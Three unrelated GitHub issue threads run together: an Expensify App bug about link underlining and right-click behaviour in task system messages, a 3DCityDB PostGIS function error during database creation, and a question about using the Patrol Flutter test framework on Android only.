Create a task.
Go to task report.
Add a single line link description in  format.
Note that the link in system message is not underlined.
Change the description to multiline link.
Note that the link in system message is now underlined.
Right click on the link in the system message.

Expected Result:
In Step 5, the single line link in the system message will be underlined.
In Step 8, right clicking on the link in the system message will invoke "Copy URL to clipboard" option.
Actual Result:
In Step 5, the single line link in the system message is not underlined.
In Step 8. right clicking on the link in the system message invoke context menu for the entire system message, instead of "Copy URL to clipboard" option for the link.
Workaround:
unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

Screenshots/Videos
Add any screenshot/video evidence
https://github.com/Expensify/App/assets/38435837/e2bd6cfa-cfb5-4105-959a-958ed9dc2950

View all open jobs on GitHub

@miljakljajic FYI I haven't added the External label as I wasn't 100% sure about this issue. Please take a look and add the label if you agree it's a bug and can be handled by external contributors.
We think this bug might be related to #vip-vsb

We think this bug might be related to #vip-vsb

@jasperhuangg what do you think - definitely a deploy blocker? I think this could be worked on externally, right?

Seems like a pretty minor bug and doesn't need to be a blocker

It looks like something that wasn't taken into consideration in https://github.com/Expensify/App/pull/40200, I think we should get the author of the PR to fix this @bernhardoj

I don't think we need to treat this as a regression from https://github.com/Expensify/App/issues/39496, since it wasn't originally included in the requirements for the issue it was solving https://github.com/Expensify/App/issues/39496. But we should still fix it for the sake of consistency across all types of links.

@eh2077 reassigning, please take over as C+. If you don't have bandwidth, unassign yourself. Thanks. I see Reviewing here but unsure what the linked PR is

@mallenexpensify this is a missing case from my PR, so we are handling it here

Unassign myself since the fix PR https://github.com/Expensify/App/pull/40625 is already ongoing.

Done


function postgis_lib_version() does not exist

When excuting the CREATE_DB.bat, after connecting to the DB, it shows:

psql:CREATE_DB.sql:36: ERROR:  function postgis_lib_version() does not exist
ZEILE 1: SELECT postgis_lib_version() AS postgis_version;
^
TIP:  No function matches the given name and argument types. You might need to add explicit type casts.

Do you know how to solve the problem? Thank you.

@Ferkelcode, please follow the installation steps as documented in our online user manual: https://3dcitydb-docs.readthedocs.io/en/version-2022.0/first-steps/setup-3dcitydb.html#installation-steps-on-postgresql.
The user manual is really comprehensive. Step 2 at the above URL will already solve your issue.


Android only setup

Is there a way to disable Patrol for iOS but keep using it for Android? I'm asking because I can't build iOS at the moment as the minimum iOS version I am supporting is lower than 13 and moving to 13 isn't immediately possible.

Hi! That's a very good question. Unfortunately, Flutter doesn't allow for removing plugins from one platform. However, I think we could think of a workaround for that from CocoaPods side.
@bartekpacia IIRC you were trying to achieve something similar in the past, what are chances for this workaround?

You might be interested in this workaround.

In addition to not wanting to increase the min iOS version just for testing purposes, I was also having trouble getting the iOS setup to work at all. I'd still like to use Patrol if I could just test my app on Android, but this doesn't seem to be currently possible. I'll probably hold off for now, but if a workaround were described in the official docs I would still consider it.

The minimum iOS restriction is lifted in the newest dev version of patrol, check it out.

Closing because of inactivity + it seems the original issues is solved.